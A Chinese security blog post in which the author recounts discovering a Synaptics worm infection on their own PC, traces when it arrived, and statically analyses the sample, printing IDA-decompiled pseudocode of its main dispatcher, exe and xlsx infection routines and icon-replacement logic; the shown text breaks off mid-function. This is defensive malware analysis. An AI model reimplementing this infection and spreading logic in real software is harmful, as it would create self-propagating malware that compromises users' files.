长亭百川云 - 文章详情

Synaptics蠕虫病毒:一名网络安全从业人员的感染与溯源分析

zer0

136

2024-03-06

声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!

0x01 事情起因

最近这两天刷逆向题目,有几个加了upx压缩壳的程序,想用upx -d去除一下压缩壳,但是把程序放到文件夹中就自动变大,还给我加了个帝国时代的图标,这什么玩意?upx -d都不用输了?自动给我脱壳?这么智能了吗,但是upx什么时候效果这么好了,原程序775k,压缩完了只有21k?

当时以为是有bug,也没多想,又把程序丢到kali里面用upx给脱了一下,就继续做题了。

过了好几天,今天又去upx脱壳,发现还是不行,这时候感觉有点不对,我又随便把一些程序放到upx文件夹里面,发现有的程序会变大并且加上这个图标,有的程序就不会。当时就感觉很奇怪,把变大的程序用ida和010分别打开看了看。

发现了一些关键的字符串,像是被加密了。


当时也没想到是病毒(因为这个病毒其他的症状我这都没发现,没影响我使用),包括这些可疑的网址当时也没仔细看。还是没想明白咋回事,然而却在任务管理器里面发现了这个东西。


这个时候去网上一搜

原来哥们中病毒了

丢进微步云沙箱里面

是病毒无疑了

0x02 分析溯源

当时在网上找了一些资料,详情见参考链接

C:\ProgramData\Synaptics
路径下的原始病毒文件是存在的,病毒文件默认是隐藏的,win11需要取消勾选“隐藏受保护的操作系统文件”,才能看到。

但是在Temp文件中,并没有发现病毒释放的exe文件。

还有的说会满载cpu、占用内存、填充c盘、感染xls文件等等,我这里没有出现。

病毒主要感染的路径是:

文档目录:"C:\Users\UserName\Documents"

桌面目录:"C:\Users\UserName\Desktop"

下载目录:"C:\Users\UserName\Downloads"

而我的upx文件夹在桌面下,这也可以说得通为什么放到upx文件夹中会被感染了。且病毒只能感染32位的exe程序,好像除了放到upx文件夹下的这几个文件被感染,其他的没啥(这病毒也一般般吧 /狗头)。

具体这个病毒是怎么来的,搜索了被感染的文件,发现最早被感染时间是2023/07/08,并且病毒文件夹下的“WS”文件夹创建时间也是2023/07/08,应该是在这天就被感染了,当时应该是在网上下的软件被捆绑了病毒。

也许是因为被感染的文件大部分都已经很久没用了,所以病毒程序一直没有触发,在12月21日这天我运行了被感染的32位文件,也就是age2.exe,导致病毒程序运行,病毒文件生成时间也是2023/12/21,当时Windows安全中心应该提醒了,但是我没管,就导致了病毒的触发,并且一直没有开启查看隐藏的文件,所以一直到现在才被发现。

0x03 静态分析

Synaptics.exe  
Synaptics.exe: PE32 executable (GUI) Intel 80386, for MS Windows  
MD5 (Synaptics.exe) = 4b88d205afcf1994221d841197860ffb  
SHA1 (Synaptics.exe) = a701f6af0145d6a210160b25f67b3733ad9c47c7  
SHA256 (Synaptics.exe) = 42938a07c0b11ff05243e773a4052cdf9de4decedc53eb9997bdd671a3c48186

还是第一次分析一个完成的病毒程序,程序函数很多,而且大多数函数无法识别主要功能,只能自己一点点的慢慢找,先寻找关键的主函数,参考了网上的很多相关的分析文章,并没有指出主函数在哪,只有几个功能模块函数的分析,而且还不是很全,只能自己慢慢的找,先通过关键字符串找到对应的功能模块,再一步步的查看函数的引用,最后找了很久终于找到了程序的主函数,分析发现病毒一共有6大功能:

①正常感染文件

②持久化

③USB设备监视,感染USB设备中的文件

④远程控制

⑤键盘监听

⑥回传邮件

主函数通过传进来的参数来判断是否执行这些功能,每个功能都有一个判断语句来判断是否进行正常操作。

int __userpurge Main@<eax>(  
        Controls::TWinControl *a1@<eax>,  
        char a2@<dl>,  
        int a3@<ecx>,  
        int a4@<ebx>,  
        int a5@<edi>,  
        unsigned int a6@<esi>,  
        char a7,  
        char a8,  
        char a9,  
        char a10,  
        char a11)  
{  
  int v12; // eax  
  int v13; // ebx  
  int Handle; // eax  
  int v15; // edx  
  int v16; // ebx  
  int v17; // eax  
  int v18; // eax  
  int v19; // eax  
  int v21; // [esp-28h] [ebp-3Ch]  
  int v22; // [esp-24h] [ebp-38h]  
  int v23; // [esp-20h] [ebp-34h]  
  int v24; // [esp-1Ch] [ebp-30h]  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-2Ch] BYREF  
  LPPOINT v26; // [esp-14h] [ebp-28h] BYREF  
  LPBYTE v27; // [esp-10h] [ebp-24h]  
  int v28; // [esp-Ch] [ebp-20h]  
  unsigned int v29; // [esp-8h] [ebp-1Ch]  
  int v30; // [esp-4h] [ebp-18h]  
  int v31; // [esp+0h] [ebp-14h] BYREF  
  void *v32; // [esp+4h] [ebp-10h] BYREF  
  void *v33; // [esp+8h] [ebp-Ch] BYREF  
  int System__AnsiString; // [esp+Ch] [ebp-8h] BYREF  
  Controls::TWinControl *v35; // [esp+10h] [ebp-4h]  
  int savedregs; // [esp+14h] [ebp+0h] BYREF  
  
  System__AnsiString = 0;  
  v33 = 0;  
  v32 = 0;  
  v31 = 0;  
  v30 = a4;  
  v29 = a6;  
  v28 = a5;  
  v35 = a1;  
  v27 = (LPBYTE)&savedregs;  
  v26 = (LPPOINT)&loc_49A352;  
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)&ExceptionList);  
  if ( a2 )                                     // 正常感染判断语句  
  {  
    Sysutils::StrToBoolDef(dword_49F1D0, 1);  
    Sysutils::StrToBoolDef(dword_49F1D0, 1);  
    GetPathOpExeXlsx((HDC)ExceptionList, v26, v27, v28); // 获取路径,感染exe和xlsx  
  }  
  v12 = Sysutils::StrToInt(dword_49F1AC);  
  if ( (_BYTE)a3 )                              // 自动更新判断语句  
    AutoUpdateTime(v35, 1, 1, v12);             // 设置自动更新,持久化  
  else  
    AutoUpdateTime(v35, 0, 1, v12);  
  if ( a11 )                                    // 远程控制判断语句  
  {  
    v28 = (int)&savedregs;  
    v27 = (LPBYTE)&loc_49A1A3;  
    v26 = (LPPOINT)NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&v26);  
    if ( !dword_49F140 )  
    {  
      ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)dword_49F154;  
      v24 = dword_49F158;  
      v23 = dword_49F15C;  
      v22 = dword_49F160;  
      v21 = dword_49F164;  
      Sysutils::IntToStr(dword_49F14C);  
      dword_49F140 = Adaptreq::TAdapterRequestParamsImpl::TAdapterRequestParamsImpl(  
                       v31,  
                       v21,  
                       v22,  
                       v23,  
                       v24,  
                       (int)ExceptionList);  
    }  
    RemoteControlA(dword_49F140, 1, 1);         // 远程控制  
    sub_4967D4((int)v35, (int)&str_TCP_Client____A[1]);  
    __writefsdword(0, (unsigned int)v26);  
  }  
  else if ( dword_49F140 )  
  {  
    RemoteControlA(dword_49F140, 0, 0);         // 远程控制  
    sub_4967D4((int)v35, (int)&str_TCP_Client__[1]);  
  }  
  if ( a10 )                                    // USB监控判断语句  
    sub_496E18((int)v35, 1u);                   // 开启USB监控,1开启,0不开启  
  else                                          // 不开启USB监控  
    sub_496E18((int)v35, 0);  
  if ( a9 )                                     // 感染USB设备中的文件判断语句  
  {  
    GetFilePath(5, (int)&System__AnsiString);  
    GetFilePath(6, (int)&v33);  
    GetFilePath(7, (int)&v32);  
    if ( Sysutils::DirectoryExists(System__AnsiString) )  
      sub_496A40((int)v35, (void *)System__AnsiString, 0, a3, a5, a6, 0);  
    if ( Sysutils::DirectoryExists((const int)v33) )  
      sub_496A40((int)v35, v33, 0, a3, a5, a6, 0);  
    if ( Sysutils::DirectoryExists((const int)v32) )  
      sub_496A40((int)v35, v32, 0, a3, a5, a6, 0);  
    sub_496B94((int)v35, 1);  
  }  
  else  
  {  
    sub_496B94((int)v35, 0);  
  }  
  if ( a8 )                                     // 键盘监听判断语句  
  {  
    v13 = Websnapobjs::TPageObj::TPageObj(off_49D6B0);  
    *((_DWORD *)v35 + 191) = v13;  
    Handle = Controls::TWinControl::GetHandle(v35);  
    LOBYTE(v15) = 1;  
    KeyboardMonitor(v13, v15, Handle);          // 键盘监听  
    sub_4967D4((int)v35, (int)&str_Keyboard_Hook__[1]);  
  }  
  else  
  {  
    v16 = *((_DWORD *)v35 + 191);  
    if ( v16 )  
    {  
      v17 = Controls::TWinControl::GetHandle(v35);  
      KeyboardMonitor(v16, 0, v17);  
      sub_4967D4((int)v35, (int)&str_Keyboard_Hook___0[1]);  
    }  
  }  
  if ( a7 )                                     // 回传邮件判断语句  
  {  
    v28 = 1;  
    v18 = Sysutils::StrToInt(dword_49F1C4);  
    AutoSendMail((int)v35, v18, 1, v28);  
  }  
  else  
  {  
    v28 = 0;  
    v19 = Sysutils::StrToInt(dword_49F1C4);  
    AutoSendMail((int)v35, v19, 0, v28);  
  }  
  __writefsdword(0, v29);  
  v31 = (int)&loc_49A359;  
  return System::__linkproc__ LStrArrayClr(&v31, 4);  
}

挨个功能进行分析

1、文件感染

跟进GetPathOpExeXlsx函数,也可以通过.xlsx
等关键词找到相关函数。

int __stdcall GetPathOpExeXlsx(HDC hdc, LPPOINT apt, LPBYTE aj, int cpt)  
{  
  __int32 v4; // eax  
  char v5; // dl  
  __int32 v6; // ecx  
  char v7; // bl  
  char v8; // dl  
  int v9; // edx  
  int v10; // eax  
  int v11; // ebx  
  int v12; // esi  
  int v13; // eax  
  int v14; // ebx  
  int v15; // esi  
  int v16; // eax  
  int v17; // ebx  
  int v18; // esi  
  int v19; // eax  
  int v20; // ebx  
  int v21; // esi  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-60h] BYREF  
  void *v24; // [esp-14h] [ebp-5Ch]  
  int *v25; // [esp-10h] [ebp-58h]  
  unsigned int v26[2]; // [esp-Ch] [ebp-54h] BYREF  
  int *v27; // [esp-4h] [ebp-4Ch]  
  int v28; // [esp+Ch] [ebp-3Ch] BYREF  
  int v29; // [esp+10h] [ebp-38h] BYREF  
  void *v30; // [esp+14h] [ebp-34h] BYREF  
  int v31; // [esp+18h] [ebp-30h] BYREF  
  int v32; // [esp+1Ch] [ebp-2Ch] BYREF  
  int v33; // [esp+20h] [ebp-28h] BYREF  
  void *v34; // [esp+24h] [ebp-24h] BYREF  
  int v35; // [esp+28h] [ebp-20h] BYREF  
  int v36; // [esp+2Ch] [ebp-1Ch] BYREF  
  int v37; // [esp+30h] [ebp-18h] BYREF  
  int System__AnsiString; // [esp+34h] [ebp-14h] BYREF  
  System::TObject *v39; // [esp+38h] [ebp-10h]  
  System::TObject *v40; // [esp+3Ch] [ebp-Ch]  
  char v41; // [esp+43h] [ebp-5h]  
  __int32 v42; // [esp+44h] [ebp-4h] BYREF  
  int savedregs; // [esp+48h] [ebp+0h] BYREF  
  
  v41 = _InterlockedExchange(&v42, v6);  
  v7 = v5;  
  v42 = v4;  
  v27 = &savedregs;  
  v26[1] = (unsigned int)&loc_49863B;  
  v26[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v26);  
  v8 = 1;  
  v40 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v8);  
  LOBYTE(v9) = 1;  
  v39 = (System::TObject *)unknown_libname_59(cls_Classes_TStringList, v9);  
  if ( v7 )  
  {  
    v25 = &savedregs;  
    v24 = &loc_4984DA;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    GetFilePath(5, (int)&System__AnsiString);   // 获取“文档”路径  
    GetFilePath(6, (int)&v37);                  // 获取“桌面”路径  
    GetFilePath(7, (int)&v36);                  // 获取“下载”路径  
    if ( Sysutils::DirectoryExists(System__AnsiString) )// DirectoryExists检查路径是否存在  
      sub_4742BC((void *)System__AnsiString, (int)&str__exe_3[1], (int)v40, 1);// 遍历目录中的exe文件  
    if ( Sysutils::DirectoryExists(v37) )  
      sub_4742BC((void *)v37, (int)&str__exe_3[1], (int)v40, 1);  
    if ( Sysutils::DirectoryExists(v36) )  
      sub_4742BC((void *)v36, (int)&str__exe_3[1], (int)v40, 1);  
    v10 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40);// 记录exe文件个数  
    if ( v10 - 1 >= 0 )  
    {  
      v11 = v10;  
      v12 = 0;  
      do  
      {  
        (*(void (__fastcall **)(System::TObject *, int, void **))(*(_DWORD *)v40 + 12))(v40, v12, &v34);  
        System::__linkproc__ LStrCat3((int)&v35, &str_Injecting_____1[1], v34);  
        sub_4967D4(v42, v35);  
        ++v12;  
        --v11;  
      }  
      while ( v11 );  
    }  
    OpExeUpdate(v40, (int)off_49D6B8, off_49D6BC, dword_49F14C, 1);// 通过EXERESX标识判断文件是否已经被感染,如果没有,执行OpExe进行感染  
    v13 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v40 + 20))(v40);  
    if ( v13 - 1 >= 0 )                         // 循环处理v35中的元素  
    {  
      v14 = v13;  
      v15 = 0;  
      do  
      {  
        (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v40 + 12))(v40, v15, &v33);  
        if ( v33 )  
        {  
          (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v40 + 12))(v40, v15, &v32);  
          sub_4967D4(v42, v32);  
        }  
        ++v15;  
        --v14;  
      }  
      while ( v14 );  
    }  
    System::TObject::Free(v40);  
    __writefsdword(0, (unsigned int)ExceptionList);  
  }  
  if ( v41 )  
  {  
    v25 = &savedregs;  
    v24 = &loc_498616;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    GetFilePath(5, (int)&System__AnsiString);  
    GetFilePath(6, (int)&v37);  
    GetFilePath(7, (int)&v36);  
    if ( Sysutils::DirectoryExists(System__AnsiString) )  
      sub_4742BC((void *)System__AnsiString, (int)&str__xlsx_1[1], (int)v39, 1);// 遍历xlsx文件,其他同上  
    if ( Sysutils::DirectoryExists(v37) )  
      sub_4742BC((void *)v37, (int)&str__xlsx_1[1], (int)v39, 1);  
    if ( Sysutils::DirectoryExists(v36) )  
      sub_4742BC((void *)v36, (int)&str__xlsx_1[1], (int)v39, 1);  
    v16 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39);  
    if ( v16 - 1 >= 0 )  
    {  
      v17 = v16;  
      v18 = 0;  
      do  
      {  
        (*(void (__fastcall **)(System::TObject *, int, void **))(*(_DWORD *)v39 + 12))(v39, v18, &v30);  
        System::__linkproc__ LStrCat3((int)&v31, &str_Injecting_____1[1], v30);  
        sub_4967D4(v42, v31);  
        ++v18;  
        --v17;  
      }  
      while ( v17 );  
    }  
    sub_479748(v39);  
    v19 = (*(int (__fastcall **)(System::TObject *))(*(_DWORD *)v39 + 20))(v39);  
    if ( v19 - 1 >= 0 )  
    {  
      v20 = v19;  
      v21 = 0;  
      do  
      {  
        (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v39 + 12))(v39, v21, &v29);  
        if ( v29 )  
        {  
          (*(void (__fastcall **)(System::TObject *, int, int *))(*(_DWORD *)v39 + 12))(v39, v21, &v28);  
          sub_4967D4(v42, v28);  
        }  
        ++v21;  
        --v20;  
      }  
      while ( v20 );  
    }  
    System::TObject::Free(v39);  
    __writefsdword(0, (unsigned int)ExceptionList);  
  }  
  __writefsdword(0, v26[0]);  
  v27 = (int *)&loc_498642;  
  return System::__linkproc__ LStrArrayClr(&v28, 11);  
}

主函数两个大的判断语句,一个处理exe另一个处理xlsx,结构内容都是一样的,先获取“文档、桌面、下载”的路径,病毒只会对这三个文件夹里面的内容进行感染。

在GetFilePath函数中,程序还会对xp系统进行单独的处理

获取到路径后分别遍历exe和xlsx的个数,并通过EXEVSNX标识来判断文件是否已经被感染。

可以通过ResHacker查看感染的文件,发现确实存在EXEVSNX标识

继续跟进到OpExeUpdate函数

int __fastcall OpExeUpdate(_DWORD *a1, int a2, __int32 a3, int a4, char a5)  
{  
  int v5; // eax  
  const CHAR *v6; // eax  
  __int32 v7; // ecx  
  __int32 v8; // ecx  
  unsigned int v10[2]; // [esp-14h] [ebp-60h] BYREF  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-Ch] [ebp-58h] BYREF  
  void *v12; // [esp-8h] [ebp-54h]  
  int *v13; // [esp-4h] [ebp-50h]  
  void *v14; // [esp+0h] [ebp-4Ch]  
  void *v15; // [esp+Ch] [ebp-40h] BYREF  
  int v16; // [esp+10h] [ebp-3Ch] BYREF  
  void *v17; // [esp+14h] [ebp-38h] BYREF  
  int v18; // [esp+18h] [ebp-34h] BYREF  
  int v19; // [esp+1Ch] [ebp-30h] BYREF  
  int v20; // [esp+20h] [ebp-2Ch] BYREF  
  void *v21; // [esp+24h] [ebp-28h] BYREF  
  int v22; // [esp+28h] [ebp-24h] BYREF  
  int v23; // [esp+2Ch] [ebp-20h] BYREF  
  int v24; // [esp+30h] [ebp-1Ch] BYREF  
  int System__AnsiString; // [esp+34h] [ebp-18h] BYREF  
  int v26; // [esp+38h] [ebp-14h]  
  int v27; // [esp+3Ch] [ebp-10h]  
  int v28; // [esp+40h] [ebp-Ch] BYREF  
  int v29; // [esp+44h] [ebp-8h]  
  _DWORD *v30; // [esp+48h] [ebp-4h] BYREF  
  int savedregs; // [esp+4Ch] [ebp+0h] BYREF  
  
  v28 = _InterlockedExchange((volatile __int32 *)&v30, a3);  
  v29 = a2;  
  v30 = a1;  
  System::__linkproc__ LStrAddRef(a2);  
  System::__linkproc__ LStrAddRef(v28);  
  v13 = &savedregs;  
  v12 = &loc_4778DD;  
  ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)&ExceptionList);  
  if ( (*(int (__fastcall **)(_DWORD *, _DWORD))(*v30 + 20))(v30, *v30) >= 1 )  
  {  
    v5 = (*(int (__fastcall **)(_DWORD *))(*v30 + 20))(v30) - 1;  
    if ( v5 >= 0 )  
    {  
      v26 = v5 + 1;  
      v27 = 0;  
      do  
      {  
        (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &System__AnsiString);  
        if ( (unsigned __int8)Sysutils::FileExists(System__AnsiString) )  
        {  
          ExceptionList = (_EXCEPTION_REGISTRATION_RECORD *)&savedregs;  
          v10[1] = (unsigned int)&loc_47789F;  
          v10[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
          __writefsdword(0, (unsigned int)v10);  
          (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v24);  
          v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);  
          dword_49EC78 = LoadLibraryA(v6);      // 将exe加载到内存  
          if ( (unsigned __int8)sub_4770E4(dword_49EC78) )// 查询文件中是否存在“EXEVSNX”标识  
          {  
            sub_47717C(dword_49EC78, v28, &v20);  
            if ( Sysutils::StrToInt(v20) >= a4 )// 通过感染文件的感染版本来判断是否需要重新感染  
            {  
              FreeLibrary_0(dword_49EC78);  
              (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v15);  
              System::__linkproc__ LStrCat3((int)&v16, &str_Infected_Cancel[1], v15);  
              (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v16);  
            }  
            else                                // 低版本则进行更新  
            {  
              (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v19);  
              LOBYTE(v8) = a5;  
              OpExe(v19, v29, v8, 1);  
              (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v17);  
              System::__linkproc__ LStrCat3((int)&v18, &str_Vrs_Updated____[1], v17);  
              (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v18);  
            }  
          }  
          else                                  // 文件中不存在“EXEVSNX”标志,直接感染  
          {  
            FreeLibrary_0(dword_49EC78);  
            (*(void (__fastcall **)(_DWORD *, int, int *))(*v30 + 12))(v30, v27, &v23);  
            LOBYTE(v7) = a5;  
            OpExe(v23, v29, v7, 0);  
            (*(void (__fastcall **)(_DWORD *, int, void **))(*v30 + 12))(v30, v27, &v21);  
            System::__linkproc__ LStrCat3((int)&v22, &str_Completed____[1], v21);  
            (*(void (__fastcall **)(_DWORD *, int, int))(*v30 + 32))(v30, v27, v22);  
          }  
          __writefsdword(0, v10[0]);  
        }  
        ++v27;  
        --v26;  
      }  
      while ( v26 );  
    }  
  }  
  __writefsdword(0, (unsigned int)v12);  
  v14 = &loc_4778E4;  
  System::__linkproc__ LStrArrayClr(&v15, 11);  
  return System::__linkproc__ LStrArrayClr(&v28, 2);  
}

OpExeUpdate函数通过EXEVSNX标识来检查程序是否被感染或是否需要更新。

继续跟进OpExe感染函数查看。

int __fastcall OpExe(int a1, int a2, __int32 a3, char a4)  
{  
  int v4; // ecx  
  int v5; // ecx  
  int v6; // ecx  
  int v7; // ecx  
  int v8; // ecx  
  const CHAR *v9; // eax  
  int v10; // ecx  
  int v11; // ecx  
  int v12; // ecx  
  int v14; // [esp-10h] [ebp-4Ch]  
  unsigned int v15[2]; // [esp-Ch] [ebp-48h] BYREF  
  int *v16; // [esp-4h] [ebp-40h]  
  int v17; // [esp+4h] [ebp-38h] BYREF  
  int System__AnsiString; // [esp+8h] [ebp-34h] BYREF  
  int v19; // [esp+Ch] [ebp-30h] BYREF  
  int v20; // [esp+10h] [ebp-2Ch] BYREF  
  int v21; // [esp+14h] [ebp-28h] BYREF  
  int v22; // [esp+18h] [ebp-24h] BYREF  
  int v23; // [esp+1Ch] [ebp-20h] BYREF  
  int v24; // [esp+20h] [ebp-1Ch] BYREF  
  int v25[2]; // [esp+24h] [ebp-18h] BYREF  
  int v26; // [esp+2Ch] [ebp-10h] BYREF  
  int v27; // [esp+30h] [ebp-Ch] BYREF  
  int v28; // [esp+34h] [ebp-8h]  
  int v29; // [esp+38h] [ebp-4h] BYREF  
  int savedregs; // [esp+3Ch] [ebp+0h] BYREF  
  
  _InterlockedExchange(&v29, a3);  
  v28 = a2;  
  v29 = a1;  
  System::__linkproc__ LStrAddRef(a1);  
  System::__linkproc__ LStrAddRef(v28);  
  v16 = &savedregs;  
  v15[1] = (unsigned int)&loc_477699;  
  v15[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v15);  
  sub_4737B0(&v27);  
  sub_472D44(8, (int)&v26);  
  System::ParamStr(0);                          // 获取temp路径  
  v14 = v25[1];  
  System::__linkproc__ LStrCatN(v25, 4, v4, &str___29[1], v26, &str__exe[1]);// 将程序拷贝到temp目录下  
  CopyFile(v14, v25[0], 0x80u);                 // 将程序拷贝到temp目录下  
  if ( a4 )  
  {  
    System::__linkproc__ LStrCatN(&v23, 4, v5, &str___29[1], v26, &str__exe[1]);  
    sub_477370(v23, v28);  
  }  
  else  
  {                                             // 感染文件  
    System::__linkproc__ LStrCatN(&v24, 4, v5, &str___29[1], v26, &str__exe[1]);  
    sub_477244(v24, v29, v28);  
  }  
  System::__linkproc__ LStrCatN(&v22, 4, v6, &str___29[1], v26, &str__ico[1]);// 复制被感染文件的图标ico  
  sub_473E4C(0);  
  System::__linkproc__ LStrCatN(&v21, 4, v7, &str___29[1], v26, &str__exe[1]);  
  System::__linkproc__ LStrToPChar(v21);  
  System::__linkproc__ LStrCatN(&v20, 4, v8, &str___29[1], v26, &str__ico[1]);  
  v9 = (const CHAR *)System::__linkproc__ LStrToPChar(v20);  
  UpdateIco(v9);                                // 更新图标,将图标替换为被感染文件的图标  
  System::__linkproc__ LStrCatN(&v19, 4, v10, &str___29[1], v26, &str__exe[1]);  
  CopyFile(v19, v29, 0x80u);                    // 替换原文件  
  System::__linkproc__ LStrCatN(&System__AnsiString, 4, v11, &str___29[1], v26, &str__exe[1]);  
  Sysutils::DeleteFile(System__AnsiString);     // 删除感染后的exe文件  
  System::__linkproc__ LStrCatN(&v17, 4, v12, &str___29[1], v26, &str__ico[1]);  
  Sysutils::DeleteFile(v17);                    // 删除图标文件  
  __writefsdword(0, v15[0]);  
  v16 = (int *)&loc_4776A0;  
  return System::__linkproc__ LStrArrayClr(&v17, 14);  
}

通过源代码可以看到,病毒在初次感染程序的时候会在电脑temp路径下做一个备份,并且生成感染的文件,读取被感染程序的图标文件,替换程序的图标。

exe的感染基本就是这几个关键函数,接下来一起看下xls的感染过程。

int __fastcall OpXls(int a1, char a2)  
{  
  int v2; // ecx  
  int v3; // ebx  
  char v4; // zf  
  char v5; // sf  
  char v6; // of  
  int v7; // ebx  
  int v8; // esi  
  int result; // eax  
  int v10; // [esp-2Ch] [ebp-240h]  
  int v11; // [esp-2Ch] [ebp-240h]  
  int v12; // [esp-28h] [ebp-23Ch]  
  int v13; // [esp-28h] [ebp-23Ch]  
  int v14; // [esp-28h] [ebp-23Ch]  
  int v15; // [esp-20h] [ebp-234h]  
  int v16; // [esp-20h] [ebp-234h]  
  int v17; // [esp-20h] [ebp-234h]  
  int v18; // [esp-1Ch] [ebp-230h]  
  int v19; // [esp-1Ch] [ebp-230h]  
  int v20; // [esp-1Ch] [ebp-230h]  
  int v21; // [esp-1Ch] [ebp-230h]  
  int v22; // [esp-1Ch] [ebp-230h]  
  int v23; // [esp-1Ch] [ebp-230h]  
  _EXCEPTION_REGISTRATION_RECORD *ExceptionList; // [esp-18h] [ebp-22Ch] BYREF  
  void *v25; // [esp-14h] [ebp-228h]  
  int *v26; // [esp-10h] [ebp-224h]  
  unsigned int v27[2]; // [esp-Ch] [ebp-220h] BYREF  
  int *v28; // [esp-4h] [ebp-218h]  
  char v29[16]; // [esp+8h] [ebp-20Ch] BYREF  
  int v30; // [esp+18h] [ebp-1FCh] BYREF  
  int v31; // [esp+1Ch] [ebp-1F8h] BYREF  
  int v32[2]; // [esp+20h] [ebp-1F4h] BYREF  
  char v33[16]; // [esp+28h] [ebp-1ECh] BYREF  
  char v34[16]; // [esp+38h] [ebp-1DCh] BYREF  
  char v35[16]; // [esp+48h] [ebp-1CCh] BYREF  
  VARIANTARG v36; // [esp+58h] [ebp-1BCh] BYREF  
  char v37[16]; // [esp+68h] [ebp-1ACh] BYREF  
  char v38[16]; // [esp+78h] [ebp-19Ch] BYREF  
  char v39[16]; // [esp+88h] [ebp-18Ch] BYREF  
  char v40[16]; // [esp+98h] [ebp-17Ch] BYREF  
  int v41; // [esp+A8h] [ebp-16Ch] BYREF  
  int v42; // [esp+B8h] [ebp-15Ch] BYREF  
  VARIANTARG pvarg; // [esp+C8h] [ebp-14Ch] BYREF  
  char v44[16]; // [esp+D8h] [ebp-13Ch] BYREF  
  char v45[16]; // [esp+E8h] [ebp-12Ch] BYREF  
  char v46[16]; // [esp+F8h] [ebp-11Ch] BYREF  
  char v47[16]; // [esp+108h] [ebp-10Ch] BYREF  
  char v48[16]; // [esp+118h] [ebp-FCh] BYREF  
  int v49; // [esp+128h] [ebp-ECh] BYREF  
  char v50[16]; // [esp+138h] [ebp-DCh] BYREF  
  char v51[16]; // [esp+148h] [ebp-CCh] BYREF  
  char v52[16]; // [esp+158h] [ebp-BCh] BYREF  
  char v53[16]; // [esp+168h] [ebp-ACh] BYREF  
  char v54[16]; // [esp+178h] [ebp-9Ch] BYREF  
  int v55; // [esp+188h] [ebp-8Ch] BYREF  
  char v56[16]; // [esp+198h] [ebp-7Ch] BYREF  
  char v57[16]; // [esp+1A8h] [ebp-6Ch] BYREF  
  char v58[16]; // [esp+1B8h] [ebp-5Ch] BYREF  
  char v59[16]; // [esp+1C8h] [ebp-4Ch] BYREF  
  char v60[16]; // [esp+1D8h] [ebp-3Ch] BYREF  
  int v61; // [esp+1E8h] [ebp-2Ch] BYREF  
  int v62; // [esp+1ECh] [ebp-28h] BYREF  
  int v63; // [esp+1F0h] [ebp-24h] BYREF  
  VARIANTARG v64; // [esp+1F4h] [ebp-20h] BYREF  
  int System__AnsiString; // [esp+208h] [ebp-Ch] BYREF  
  char v66; // [esp+20Fh] [ebp-5h]  
  int v67; // [esp+210h] [ebp-4h] BYREF  
  int savedregs; // [esp+214h] [ebp+0h] BYREF  
  
  v66 = a2;  
  v67 = a1;  
  System::__linkproc__ LStrAddRef(a1);  
  v28 = &savedregs;  
  v27[1] = (unsigned int)&loc_4795C3;  
  v27[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;  
  __writefsdword(0, (unsigned int)v27);  
  if ( v66 )  
  {  
    Comobj::CreateOleObject((const int)&str_Excel_Applicati_0[1]);  
    Variants::__linkproc__ VarFromDisp(&v64);  
    Variants::__linkproc__ DispInvoke(0, &v64, dword_4795EC, 0);  
    Variants::__linkproc__ DispInvoke(0, &v64, dword_479600, 0);  
    Variants::__linkproc__ DispInvoke(0, &v64, dword_479614, 0);  
  }  
  else  
  {  
    Variants::__linkproc__ VarCopy((int)&v64, &pvargSrc);  
    System::__linkproc__ LStrLAsg(&System__AnsiString, dword_49ECA8);  
  }  
  if ( !(unsigned __int8)Sysutils::FileExists(System__AnsiString) )  
  {  
    v26 = &savedregs;  
    v25 = &loc_47903A;  
    ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;  
    __writefsdword(0, (unsigned int)&ExceptionList);  
    sub_4737B0(&v62);                           // GetTempPathA  
    sub_472D44(8, &v61);  
    System::__linkproc__ LStrCatN(&System__AnsiString, 4, v2, dword_479628, v61, ".xlsm");  
    sub_47518C(&str_XLSM[1], System__AnsiString);// 读取XLSM资源  
    System::__linkproc__ LStrAsg(&dword_49ECA8, System__AnsiString);  
    Variants::__linkproc__ DispInvoke(v60, &v64, dword_479658, dword_47964C);  
    Variants::__linkproc__ DispInvoke(0, v60, v15, &System__AnsiString);  
    __writefsdword(0, (unsigned int)ExceptionList);  
    v26 = (int *)&loc_479041;  
    System::TObject::Free(dword_49ECAC);  
  }  
  if ( (unsigned __int8)sub_474CD0(&str_Excel_Applicati_0[1]) )  
  {  
